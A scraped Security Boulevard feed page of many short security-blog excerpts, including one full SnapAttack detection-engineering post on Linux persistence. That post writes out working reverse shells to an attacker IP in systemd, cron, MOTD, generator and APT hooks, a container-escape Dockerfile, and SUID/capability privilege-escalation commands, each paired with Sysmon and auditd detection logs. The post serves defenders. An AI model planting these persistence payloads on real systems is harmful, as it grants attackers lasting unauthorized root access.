Security Boulevard

Passwordless authentication for end users is taking the world by storm, offering organizations and individuals alike unprecedented security, user experience, and efficiency benefits. By all indications, the next generation of authentication for end users has finally arrived, sending the password the way of the dodo.  Although they don’t get anywhere near the same hype, advanced [...]

The post Beyond Passwords: Advanced API Authentication Strategies for Enhanced Security appeared first on Wallarm.

The post Beyond Passwords: Advanced API Authentication Strategies for Enhanced Security appeared first on Security Boulevard.

Protecting digital identities is essential for individuals and organizations in a world where cyberattacks are becoming more sophisticated and frequent. If anything has proven to boost security massively, it has to be the proper utilization of Multi-Factor Authentication (MFA). While traditional password protection can easily be attacked through phishing, credential stuffing, and brute force, MFA […]

The post Understanding the Importance of MFA: A Comprehensive Guide first appeared on StrongBox IT.

The post Understanding the Importance of MFA: A Comprehensive Guide appeared first on Security Boulevard.

Mastering CentOS commands can help you effectively manage CentOS systems, perform common tasks, and troubleshoot issues. Process management is streamlined using commands like ps and top, which help monitor and troubleshoot system performance in real time. Each command is described with clear explanations, making it easy to understand their purpose and usage. CentOS, a popular […]

The post How to Master CentOS Commands: The Ultimate Cheat Sheet appeared first on TuxCare.

The post How to Master CentOS Commands: The Ultimate Cheat Sheet appeared first on Security Boulevard.

In the most recent US crackdown with Microsoft a total of 107 Russian domains have been seized. Reports claim that these domains were mainly used by state sponsored threat actors for malicious purposes. In this article, we’ll dive into the details of the US crackdown, the threat actor behind the malicious initiatives, and more. Let’s […]

The post US Crackdown With Microsoft: Over 100 Russian Domains Seized appeared first on TuxCare.

The post US Crackdown With Microsoft: Over 100 Russian Domains Seized appeared first on Security Boulevard.

Automated browser detection has changed dramatically throughout the years as bot developers seek easier ways to bypass detection, and bot protection vendors find new ways to identify and stop bots.

The post The Evolution of Automated Browser Detection: A Cat & Mouse Game appeared first on Security Boulevard.

A critical vulnerability (CVE-2024-9381) in Ivanti’s Cloud Services Appliance allows attackers to bypass security measures and execute arbitrary code.  Affected Platform  CVE-2024-9381 impacts Ivanti’s Cloud Services Appliance (CSA), a critical component used in secure remote access for enterprise environments, affecting CSA versions prior to the latest patch. Ivanti CSA provides a secure bridge for cloud...

The post CVE-2024-9381 – Ivanti CSA Security Vulnerability – October 2024 appeared first on TrueFort.

The post CVE-2024-9381 – Ivanti CSA Security Vulnerability – October 2024 appeared first on Security Boulevard.

The post Life in the Swimlane with Abby Shapiro, Customer Success Manager   appeared first on AI-enhanced Security Automation.

The post Life in the Swimlane with Abby Shapiro, Customer Success Manager   appeared first on Security Boulevard.

Remember when we were bracing ourselves for 90-day certificates?  That shift felt like a game-changer, yet here we are, with a new curveball: 45-day certificates are making their way into the mix. It wasn’t too long ago that speculation around Apple’s influence hinted at the possibility of even shorter cert lifespans. Fast forward, and the […]

The post 45-Day Certs? You’ve Got No Time to Lose! first appeared on Accutive Security.

The post 45-Day Certs? You’ve Got No Time to Lose! appeared first on Security Boulevard.

Dive into the world of product-led onboarding for B2B SaaS. This guide explores key strategies and best practices to create an engaging and effective onboarding experience that turns new users into power users. Learn how to optimize user journeys, reduce churn, and drive product adoption.

The post Mastering Product-led Onboarding in B2B SaaS: A Comprehensive Guide appeared first on Security Boulevard.

Good cyber defense involves more than blocking and tackling. Without visibility into what’s happening, where and by whom, enterprises are hard-pressed to maintain solid protection of systems, networks and data. One area where visibility falls short of what you need is the application layer. This obscurity has given rise to a groundbreaking new breed of must-have detection and response solutions: Application Detection and Response (ADR). 

The post ADR Provides Application Visibility for CISOs | Closing Application Layer Gap | Contrast Security appeared first on Security Boulevard.

The World Economic Forum is advocating a shift in security thinking from secure by design to resilience by design in the face of the rapid development and expanding connectivity of emerging technologies like AI, quantum computing, and the Internet of Things.

The post World Economic Forum: AI, Quantum Require ‘Paradigm Shift’ in Security appeared first on Security Boulevard.

Authors/Presenters:Chenyang Zhao, Yuebin Guo, Jingyu Wang, Qi Qi, Zirui Zhuang, Haifeng Sun, Lingqi Guo, Yuming Xie, Jianxin Liao

Our sincere thanks to USENIX, and the Presenters & Authors for publishing their superb 21st USENIX Symposium on Networked Systems Design and Implementation (NSDI '24) content, placing the organizations enduring commitment to Open Access front and center. Originating from the conference’s events situated at the Hyatt Regency Santa Clara; and via the organizations YouTube channel.

The post USENIX NSDI ’24 – EPVerifier: Accelerating Update Storms Verification with Edge-Predicate appeared first on Security Boulevard.

Using the same email address everywhere isn't helping you be more private. But short of creating a multiple new mailboxes and subsequently managing them - what can you do?

TABLE OF CONTENTS

• The problem
• What is email aliasing?
• Plus addressing doesn't do much for privacy
• Custom/unique aliasing is more beneficial for privacy
• • Reduce spam
  • De-couple identity from a single email address
• Email aliasing tools
• • SimpleLogin
  • addy.io
  • DuckDuckGo Email Protection
  • Self-host/create your own
• Final thoughts

The problem

Your personal email address is a unique - and reliable - identifier. This is regardless of what email provider you may use - whether a typical one or an encrypted, privacy-friendly email provider.

Think about it... many users likely use the same email everywhere, for everything like:

• bank accounts
• insurance accounts
• social media
• newsletters
• ecommerce accounts/purchases
• forum registrations
• resumes
• personal communications

... and everything in between.

This same email address may even be involved in data breaches and data leaks. Data breaches generally occur when a service/provider suffers a cyberattack and user/employee/personal information is stolen or otherwise compromised; data leaks are similar, but don't necessarily result from a cyberattack - an organization could inadvertently directly expose sensitive/personal data from their systems, often available publicly.

In either case, given the ubiquity of collecting email addresses, using them for account creation, and as general purpose identifiers, they are often exposed (alongside other data) in these breaches and leaks. Keep in mind data breaches/leaks are just one way your email address could be exposed - many services may share your information, which can include your email address - with data brokers, partners, affiliates, and contractors

Thus, by "following the email address" you can be relatively easy to track and target for marketing, general spam, scam attempts, or phishing attempts alike.

However, creating and then subsequently managing a bunch of different inboxes for different uses or use cases can be difficult and frustrating. Enter the email alias (or forwarder)!

Note: Some email providers may provide aliasing capabilities, though these capabilities may vary.

What is email aliasing?

Generally speaking, an email alias is a forwarding email address. Emails sent to the alias are automatically forwarded to another email address. You do need an email account (an inbox) to use forwarders/aliases.

There are different forms of email aliasing: plus addressing (+aliases) and unique/custom aliasing. Plus addressing is also called subaddressing. Though, to be fair, when "email aliasing" is mentioned, generally it is in reference to unique aliasing - a unique address forwarding to an email inbox.

Plus addressing doesn't do much for privacy

While useful for organization, plus addressing isn't that great for privacy. This is because plus addressing still uses the email's "root," which is easily discernible. Take for example this list of plus addresses:

• [email address is javascript encrypted]
• [email address is javascript encrypted]
• [email address is javascript encrypted]

For each plus address, the actual email is easy to figure out for just about anyone: [email address is javascript encrypted].

As a result, you may still find this email address on marketing lists, spam lists, combolists (where the email is commonly paired with leaked/cracked passwords), among others. Naturally, the more places it is used (especially for important accounts), the more it is tied to your identity online and off.

Custom/unique aliasing is more beneficial for privacy

... and it has non-privacy benefits too. The privacy benefits of custom aliasing primarily stems from the fact that third parties won't know your actual email address.

Reduce spam

Phishing and spam often go hand-in-hand, though some "legitimate" or otherwise non-malicious entities certainly engage in spam or spam-like tactics.

The primary benefit of using email aliases is reducing spam and phishing attempts. As mentioned previously - think about what your personal or "primary" email address is tied to. By extension, your email address may be sold, exposed (ex: data breaches or data leaks), or leaked to other parties outside of the party you shared your email with.

It's difficult to prevent spam - which may include cold-outreach emails and some marketing tactics - when your email address is, well, known. This can happen a variety of ways (as described in the previous paragraph) With an alias, once you begin receiving spam, you can simply disable that alias, rendering it inactive; you won't receive the spam.

Likewise, if you begin receiving phishing emails - especially in the aftermath of a data breach - you can disable the alias, thus eliminating delivery of phishing emails to your inbox. This can reduce the possibility you fall for a phishing attack; email remains a common and effective phishing vector. Phishing attempts often come as spam but can also be more targeted, leveraging publicly available information or information leaked in data breaches to make the lure more believable.

De-couple identity from a single email address

As mentioned earlier, users can be easily tracked by their email address. Many people have the same email for years - which is fine - but this same email address has probably been used across many different accounts, services, ecommerce purchases, newsletters, personal correspondence, etc. In some cases, "people search websites" - often owned by data brokers - may even list this email!

Long-term and widespread use of a single email address likely means it has been disclosed to many entities and may have been disclosed even further, without your expressed knowledge. For example, you may make a purchase from an ecommerce store and be automatically opted in to receiving emails from them. In an effort to (re)target users via advertising to drive more sales, they may take their email list and share it with other marketers or advertisers. This is not a hypothetical example; BetterHelp was exposed for doing almost exactly this and more.

How does using an email alias help here? By using aliases across different accounts, you begin breaking the association of your identity with a single email address. This can make it harder to track your activity across different platforms.

Of course, if other collected/provider identifiers are consistent (such as an address or a phone number), correlations can be drawn. But this doesn't necessarily negate the effectiveness of decoupling your identity from a single email address.

Similarly, if a service/provider manages to compromise your email address, you can disable the alias.

Email aliasing tools

SimpleLogin, addy.io, and DuckDuckGo Email Protection are email aliasing tools designed to make generating and using email aliases easier.

SimpleLogin

SimpleLogin is an open source email aliasing service. Users can both receive and send emails with aliases created using SimpleLogin. It has support for custom domains.

SimpleLogin was acquired by Proton in April 2022. Users can still sign up to SimpleLogin separately...

The post Email Aliasing is a Great Privacy Tool appeared first on Security Boulevard.

Axio CEO, Scott Kannry recently sat down with Michelle Faylo, US Cyber & Technology Leader of Lockton in our executive perspectives podcast. In each episode, we interview the world’s top

Read More

The post Executive Perspectives, Episode 2, Michelle Faylo appeared first on Axio.

The post Executive Perspectives, Episode 2, Michelle Faylo appeared first on Security Boulevard.

The Department of Defense (DoD) published the Cybersecurity Maturity Model Certification (CMMC) Final Rule on October 15, 2024. This newly issued regulation (CFR 32) can be viewed in the Federal Register and will go into effect on December 16, 2024. It introduces key changes for organizations handling Controlled Unclassified Information (CUI). This blog is intended for organizations that handle CUI and are […]

The post The CMMC Final Rule is Published: What Contractors Need to Know appeared first on PreVeil.

The post The CMMC Final Rule is Published: What Contractors Need to Know appeared first on Security Boulevard.

There has been a sharp decline in ransomware payouts, with only 11% of companies admitting to paying demands, which has been attributed to increased investment in backup and recovery technologies.

The post Ransomware Payouts Decline as Security Maturity Rises appeared first on Security Boulevard.

Linux persistence mechanisms are used by an attacker to maintain access to a compromised system, even after reboots or system updates. These allow attackers to regain control of a system without re-exploiting initial vulnerabilities. Persistence methods can vary in sophistication, from simple cron jobs to more advanced kernel-level hooks. Some common Linux persistence methods include:

1. System Services:
   - Systemd Service Persistence: This method involves creating or modifying systemd service files to execute malicious code upon system initialization.
   - SysV Init (init.d) Persistence: This leverages the older SysV init system, using scripts placed in /etc/init.d/ to run malware during system initialization.
2. User-level Persistence:
   - SSH Key Persistence: This method adds a backdoor SSH key to the authorized keys, allowing an attacker to log in remotely.
   - Shell Profile Persistence: Modifying shell profile files like .bashrc ensures that malicious scripts run each time a user starts a shell session.
3. Cron Jobs and Scheduled Tasks:
   - Cron Job Persistence: An attacker can add cron jobs to ensure a script is executed at regular intervals or during system reboots.
   - At Job Persistence: This can schedule one-time or recurring tasks to maintain persistence.
4. File and Package Modifications:
   - Malicious Packages (DPKG/RPM): Attackers can create malicious Debian or RPM packages that install backdoors and ensure persistence during package installations or updates.
   - Password and User Modifications: adding new users to /etc/passwd or modifying existing user passwords to maintain access.
5. Other Techniques:
   - SUID Backdoor: Modifying SUID (Set User ID) binaries can grant an attacker elevated privileges when running specific programs.
   - Docker Container Persistence: Attackers can use a Docker container with a host escape mechanism to maintain access across reboots.

Each of these methods offers different levels of stealth and effectiveness depending on the system’s configuration and the attacker’s goals. We are going to cover some of them here.

To enable execution of the various persistence mechanisms we utilized a tool called PANIX (https://github.com/Aegrah/PANIX). PANIX is a highly customizable Linux persistence tool for security research, detection engineering, penetration testing, CTFs and more.

For logging and detection we utilized auditd and Sysmon.

Auditd

Auditd is essential for tracking and logging security-relevant information on a linux system. It collects a wide range of system events, such as file access, system calls, and user actions, enabling real-time monitoring to swiftly detect and respond to suspicious activities. With customizable rules, users can focus on specific types of events. The main daemon, auditd, receives event data from the kernel and writes it to disk, supported by tools like auditctl for configuration, aureport for generating summary reports, and ausearch for searching audit log files.

We used a set of auditd rules compiled by Florian Roth when capturing this threat.

Sysmonforlinux

Sysmon is pretty well known in Windows spaces, but it has a version for Linux as well. Sysmon for Linux is a tool that monitors and logs system activity including process lifetime, network connections, file system writes, and more. Sysmon works across reboots and uses advanced filtering to help identify malicious activity as well as how intruders and malware operate on your network. Sysmon for Linux is part of Sysinternals. The beauty is your normal Sysmon config will work with Sysmon for Linux without needing many (if any) changes.

Systemd Timers

The first method we are going to look at is using systemd for persistence. This involves the creation of a systemd service and a timer to execute the service. The service can be installed in a couple locations depending on if the attacker has access to root or not.

Service Location:
root example: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.service
user example: /home/user/.config/systemd/user/dbus-org.freedesktop.resolved.service

Timer Location:
root example: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer
user example: /home/user/.config/systemd/user/dbus-org.freedesktop.resolved.timer

This service will usually contain something the attacker wants to execute on a persistent basis. For example. Here we use a bash reverse shell.

[Unit]
Description=Network Name Resolution
[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target

The timer file will contain the information on how often the service is scheduled.

[Unit]
Description=Network Name Resolution Timer
[Timer]
OnCalendar=*:*:00
Persistent=true
[Install]
WantedBy=timers.target

The file creation event for the systemd timer can be seen.

Sysmon:

EventID: 11
TimeCreated SystemTime: 2024–09–20T18:19:25.709674000Z
EventRecordID: 191
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10–0–255–151
ProcessGuid: {ec227f46-bcad-66ed-0dbf-8bcfc8550000}
ProcessId: 2522
Image: /usr/bin/bash
TargetFilename: /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer
CreationUtcTime: 2024–09–20 18:19:25.718

In addition to the creation of the systemd timer and service, you will also see the new service enabled to start the persistence.

Sysmon:

EventID: 1
TimeCreated SystemTime: 2024-09-20T18:19:26.165256000Z
EventRecordID: 290
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10-0-255-151
UserId: 0
ProcessGuid: {ec227f46-bcae-66ed-ed4f-0f7ce2550000}
ProcessId: 2555
Image: /usr/bin/systemctl
CommandLine: systemctl enable dbus-org.freedesktop.resolved.timer
CurrentDirectory: /home/ubuntu
User: root
TerminalSessionId: 2
ParentProcessGuid: {ec227f46-bcad-66ed-0dbf-8bcfc8550000}
ParentProcessId: 2518
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
ParentUser: root

Auditd:

type=EXECVE msg=audit(1726856366.145:3033): argc=3 a0="systemctl" a1="enable" a2="dbus-org.freedesktop.resolved.timer"

Finally, you will also see a process creation event for the code executed by the systemd service. In our case it will be the reverse shell.

Sysmon:

EventID: 1
Keywords: 0x8000000000000000
TimeCreated SystemTime: 2024-09-20T18:20:05.234460000Z
EventRecordID: 461
ProcessID: 950
ThreadID: 950
Channel: Linux-Sysmon/Operational
Computer: ip-10-0-255-151
ProcessGuid: {ec227f46-bcd5-66ed-0dbf-757076550000}
ProcessId: 2633
Image: /usr/bin/bash
CommandLine: /usr/bin/bash -c bash -i >& /dev/tcp/10.0.254.228/4444 0>&1
CurrentDirectory: /
User: root
LogonGuid: {ec227f46-0000-0000-0000-000000000000}
LogonId: 0
TerminalSessionId: 4294967295
IntegrityLevel: no level Cron Files

Cron is a very common task scheduling system on linux. Most commonly cron jobs are added to a users crontab and executed based on the time specifications in the job. There is another way for cron jobs to be created and thats with files within /etc/cron.d/. These are system wide cron jobs and will run regardless of a user's crontab.

In our version of this attack we created a file as root at /etc/cron.d/freedesktop_timesync1 with the following:

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/10.3.99.1/4444 0>&1'

This will execute our reverse shell every minute as the root user. Similar to the persistence mechanism above this can be detected with a file creation event.

Sysmon:

TargetFilename: /etc/cron.d/freedesktop_timesync1
EventID: 11
UtcTime: 2024-09-17 18:55:54.247
Image: /usr/bin/bash
EventDescription: FileCreate
EventRecordID: 193
ProcessGuid: {ec227f46-d0ba-66e9-0d2f-097895550000}
ProcessID: "909"
ProcessId: 2376
source: Syslog:Linux-Sysmon/Operational
sourcetype: sysmon_linux
Task: 11
ThreadID: "909"
TimeCreated: 2024-09-17T18:55:54.241853000Z

Auditd:

type=PATH msg=audit(1726599354.234:2677): item=1 name="/etc/cron.d/freedesktop_timesync1" inode=8245 dev=ca:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 Message of the Day (MOTD)

An attacker can exploit the MOTD in Linux by modifying it to display misleading messages, such as fake security warnings or instructions, tricking users into running harmful commands or visiting malicious websites. They could also use MOTD scripts as a persistence mechanism by injecting malicious code that runs during login, potentially granting the attacker continued access or control over the system.

There is a couple steps to this sort of persistence. First is creating the script within /etc/update-motd.d, then modifing it to be executable. Our script will contain a reverse shell again with the following code:

#!/bin/sh
nohup setsid bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1' & disow

Detecting this activity involves looking for file creation events in the motd script directory as well as chmod activity in suspicious loctions.

TargetFilename: /etc/update-motd.d/137-python-upgrades
EventID: 11
UtcTime: 2024-09-19 14:49:51.726
Image: /usr/bin/bash
EventDescription: FileCreate
EventRecordID: 186
eventtype: linux-sysmon-filemod
file_create_time: 2024-09-19 14:49:51.726
file_name: 137-python-upgrades
file_path: /etc/update-motd.d/137-python-upgrades
Guid: "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"
ProcessGuid: {ec227f46-3a0f-66ec-0d9f-ccefae550000}
ProcessID: "937"
ProcessId: 2449

Auditd:

type=PATH msg=audit(1726757441.333:3026): item=0 name="/etc/update-motd.d/137-python-upgrades" inode=73104 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0 Systemd Generator

Systemd generators are typically placed in /lib/systemd/system-generators/, where they are run early in the boot sequence to dynamically generate or modify unit files that control system services. By placing a custom generator in this directory, an attacker can ensure their code is executed each time the system starts, allowing them to maintain access or control even after reboots. This technique takes advantage of the system’s reliance on systemd for managing services, making it a subtle method for persistence since it blends in with legitimate system behavior. Additionally, since generators are executed as root, this provides attackers with high privileges, potentially allowing them to run unauthorized code with elevated permissions on startup.

First a malicious script is created that is executed by the generator (/usr/lib/systemd/system-generators/makecon):

#!/bin/bash
nohup bash -c "while :; do bash -i >& /dev/tcp/10.3.99.1/4444 0>&1; sleep 10; done" &

This will create a reverse connection to our attacker ip every 10 seconds in an infinite loop. Then the generator script is created (/usr/lib/systemd/system-generators/generator):

#!/bin/sh
# Create a systemd service unit file in the late directory
cat <<-EOL > "/run/systemd/system/generator.service"
[Unit]
Description=Generator Service
[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
EOL
mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service
# Ensure the script exits successfully
exit 0

This dynamically creates a systemd service unit file that:

• Describes the service with the name “Generator Service.”
• Specifies the ExecStart directive to run our malicious script (/usr/lib/systemd/system-generators/makecon).
• Configures the service to restart automatically with Restart=always, meaning the service will restart whenever it stops or crashes. The RestartSec=10 directive introduces a 10-second delay between restarts.
• Installs the service as part of the multi-user.target, ensuring it starts when the system reaches the multi-user run level (typically when most services are running).

Both of these scripts will be modified to be executable with chmod which can be detected with the previous detection. Finally, these will be registered with the system with `systemctl daemon-reload & systemctl enable generator

Auditd:

type=PATH msg=audit(1726685091.930:2923): item=0 name="/usr/lib/systemd/system-generators/makecon" inode=72095 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=PATH msg=audit(1726685091.922:2921): item=0 name="/usr/lib/systemd/system-generators/generator" inode=84188 dev=ca:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0
type=EXECVE msg=audit(1726685091.782:2910): argc=3 a0="systemctl" a1="enable" a2="generator"
type=EXECVE msg=audit(1726685091.374:2872): argc=5 a0="/bin/sh" a1="/usr/lib/systemd/system-generators/generator" a2="/run/systemd/generator" a3="/run/systemd/generator.early" a4="/run/systemd/generator.late" Apt Package Manager

This persistence mechanism exploits the APT package management system by placing a custom script in the /etc/apt/apt.conf.d/ directory with a APT::Update::Pre-Invoke configuration, which is executed before any APT update or installation command.

The full malicious script in our case contained our handy reverse shell that will be executed whenever apt updates or installs anything.

APT::Update::Pre-Invoke {"(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.3.99.1/4444 0>&1' > /dev/null 2>&1 &) &"};

Identifying this activity can be done by looking for file creation events within the apt configuration directory like the following:

Sysmon:

TargetFilename: /etc/apt/apt.conf.d/01python-upgrades
EventID: 11
UtcTime: 2024-09-19 16:15:01.439
Image: /usr/bin/bash
User: -
process_name: bash
process_path: /usr/bin/bash
action: created
Channel: Linux-Sysmon/Operational
EventDescription: FileCreate
EventRecordID: 252
eventtype: linux-sysmon-filemod
file_create_time: 2024-09-19 16:15:01.439
file_name: 01python-upgrades
file_path: /etc/apt/apt.conf.d/01python-upgrades
Guid: "{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"
ProcessGuid: {ec227f46-4e05-66ec-0ddf-3eaa12560000}
ProcessID: "930"
ProcessId: 2511 SUID Binary Persistence

Another common method of persistence is, instead of creating new scripts or binaries on the system, the attacker will modify existing binaries to run with elevated permissions. This is commonly done on binaries that can execute code such as find or python. By setting the SUID bit on these binaries, the script is granting any user the ability to execute these programs with root (or binary owner) privileges, which can lead to serious security vulnerabilities.

To accomplish this the attacker will execute chmod on these binaries with the u+s or 4777 parameters.

Sysmon:

CommandLine: chmod u+s /usr/bin/find
EventID: 1
UtcTime: 2024-09-20 14:36:12.922
Image: /usr/bin/chmod
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
User: root
IntegrityLevel: no level
action: allowed
Channel: Linux-Sysmon/Operational
CurrentDirectory: /home/ubuntu
ParentProcessGuid: {ec227f46-885c-66ed-0def-768350560000}
ParentProcessId: 2480
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
ParentUser: root
EventDescription: Process creation
EventRecordID: 182

Auditd:

type=EXECVE msg=audit(1726842972.903:2770): argc=3 a0="chmod" a1="u+s" a2="/usr/bin/find"

Once set an attacker can use the binaries to escalate privileges. For example with find:

find . -exec /bin/bash -p \; Capabilities

Similar to the SUID bit, binaries can also have capabilities set that allow persistent privilege escalation. Capabilities split root privileges into smaller units that can be assigned to specific binaries. For instance, using the setcap command, an attacker can give a binary capabilities like CAP_NET_ADMIN or CAP_SYS_ADMIN, allowing the binary to perform administrative tasks without requiring root privileges. This approach enables the attacker to retain control even after system reboots or security patches, as the modified binary can continue to execute privileged actions. A common capability to use is the CAP_SETUID capability that allows the binary to change its user id while running.

A target for this is typically scripting interpreters such as perl, python, ruby, php, etc. For example with Python an actor can set this persistent capability and then run the following to escalate to a root shell or run system commands as root.

import os
os.setuid(0)
os.system("/bin/bash")

The logs created by this activity look like the following:

Sysmon:

CommandLine: setcap cap_setuid+ep /usr/bin/python
EventID: 1
UtcTime: 2024-09-17 17:23:55.705
Image: /usr/sbin/setcap
ParentImage: /usr/bin/bash
ParentCommandLine: /bin/bash
User: root
IntegrityLevel: no level
process_path: /usr/sbin/setcap
parent_process_path: /usr/bin/bash
action: allowed
CurrentDirectory: /home/ubuntu
ParentProcessGuid: {ec227f46-bb2b-66e9-0d2f-bae34b560000}
ParentProcessId: 2407
EventDescription: Process creation
EventRecordID: 155

Auditd:

type=EXECVE msg=audit(1726593835.712:2704): argc=3 a0="setcap" a1="cap_setuid+ep" a2="/usr/bin/python3.10" Docker

Sometimes an attacker won’t persist on the host itself but instead make use of a specifically crafted Docker container. This Docker container can be used for persistence by leveraging its privileged access and the ability to interact with the host system. Since the container is run with the — privileged and — pid=host options, it has elevated privileges and access to the host’s process namespace. Additionally, a script inside the container allows the low-privilege user in the container to execute commands as root on the host system using nsenter. This setup enables attackers to maintain control over the host, even after reboots, by re-establishing access through the container.

Example malicious Dockerfile staged at /tmp/Dockerfile:

FROM alpine:latest
RUN apk add --no-cache bash socat sudo util-linux procps
RUN adduser -D lowprivuser
RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh \\
&& echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:10.3.99.1:4444"; sleep 60; done' >> /usr/local/bin/entrypoint.sh \\
&& chmod +x /usr/local/bin/entrypoint.sh
RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh \\
&& echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh \\
&& chmod +x /usr/local/bin/escape.sh \\
&& echo 'lowprivuser ALL=(ALL) NOPASSWD: /usr/bin/nsenter' >> /etc/sudoers
USER lowprivuser
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]

Building and running the malicious container with privileged access to host resources:

docker build -t malicious-container -f /tmp/Dockerfile . && \
docker run -d --name malicious-container --privileged --pid=host malicious-container

The script creates an entry point (/usr/local/bin/entrypoint.sh) that contains an infinite loop. In each iteration, it launches a reverse shell using socat, which tries to connect to the attacker controlled system.

Another script (/usr/local/bin/escape.sh) is created, which uses the nsenter command to escape the container and access the host's namespaces. The script uses the nsenter command with the --pid=host flag to gain access to the host system's process, mount, and user namespaces. By doing so, it effectively allows the user to escalate privileges and access the host system.

The big things to look for with this activity are the usage of the privileged flags when executing the container and the usage of nsenter with su.

Sysmon:

CommandLine: docker run -d --name malicious-container --privileged --pid=host malicious-container
CurrentDirectory: /tmp
EventChannel: Linux-Sysmon/Operational
EventCode: 1
EventDescription: Process creation
EventRecordID: 1377
Image: /usr/bin/docker
IntegrityLevel: no level
ParentCommandLine: /bin/bash
ParentImage: /usr/bin/bash
ParentProcessGuid: {ec227f46-ef47-66ea-0d8f-8cba34560000}
ParentProcessId: 3993
ParentUser: root
ProcessGuid: {ec227f46-ef4d-66ea-8d4b-8837a1550000}
ProcessID: "978"
ProcessId: 4348
Product: -

Auditd:

type=EXECVE msg=audit(1726672717.147:22570): argc=8 a0="docker" a1="run" a2="-d" a3="--name" a4="malicious-container" a5="--privileged" a6="--pid=host" a7="malicious-container" MITRE

T1059 — Command and Scripting Interpreter:
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries.

T1053.003 — Scheduled Task/Job: Cron:
Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.

T1053.006 — Scheduled Task/Job: Systemd Timers:
Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code.

T1021.004 — Remote Services: SSH
Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.

T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid
An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context.

T1610 — Deploy Container
Adversaries may deploy a container into an environment to facilitate execution or evade defenses.

Conclusion

In conclusion, Linux persistence techniques offer attackers a variety of methods to maintain long-term access to compromised systems. From modifying system services and user-level configurations to exploiting scheduled tasks and leveraging containers, these techniques can range in complexity and stealth. Understanding the different persistence mechanisms and their detection is critical for defending Linux systems against persistent threats, ensuring system security even after reboots or system updates.

For more information, detections, and captured attacks for these techniques and many more, check out our collection focused on Linux Persistence.

SnapAttack is the threat hunting, detection engineering, and detection validation platform for proactive threat-informed defense. Register for a FREE community account to access the tons of content included in this blog post, as well as thousands of other community detections. Subscribers also get advanced features like a no-code detection builder, one-click deployments to leading SIEMs and EDRs like Chronicle, Sentinel, Splunk, CrowdStrike and SentinelOne, advanced threat profiles to prioritize relevant threats, and customized reports that track MITRE ATT&CK coverage and more!

Resources

GitHub - Aegrah/PANIX: Customizable Linux Persistence Tool for Security Research and Detection Engineering.

Linux Persistence Mechanisms and How to Find Them was originally published in SnapAttack on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Linux Persistence Mechanisms and How to Find Them appeared first on Security Boulevard.

AppOmni has achieved FedRAMP® “In Process” status, a major milestone in providing secure SaaS solutions to federal agencies.

The post AppOmni Achieves FedRAMP®️ “In Process” Status for Public Sector SaaS Security appeared first on AppOmni.

The post AppOmni Achieves FedRAMP®️ “In Process” Status for Public Sector SaaS Security appeared first on Security Boulevard.

Authors/Presenters:Anup Agarwal, Venkat Arun, Devdeep Ray, Ruben Martins, Srinivasan Seshan

Our sincere thanks to USENIX, and the Presenters & Authors for publishing their superb 21st USENIX Symposium on Networked Systems Design and Implementation (NSDI '24) content, placing the organizations enduring commitment to Open Access front and center. Originating from the conference’s events situated at the Hyatt Regency Santa Clara; and via the organizations YouTube channel.

Permalink

The post USENIX NSDI ’24 – Towards Provably Performant Congestion Control appeared first on Security Boulevard.

The Digital Operational Resilience Act (DORA) is a significant regulation introduced by the European Union, set to take effect on 17 January 2025. While DORA is primarily designed to enhance the operational resilience of financial entities against ICT-related incidents, its impact extends far beyond financial institutions. DORA establishes requirements and principles that financial entities must […]

The post What is DORA (Digital Operational Resilience Act)? appeared first on Cequence Security.

The post What is DORA (Digital Operational Resilience Act)? appeared first on Security Boulevard.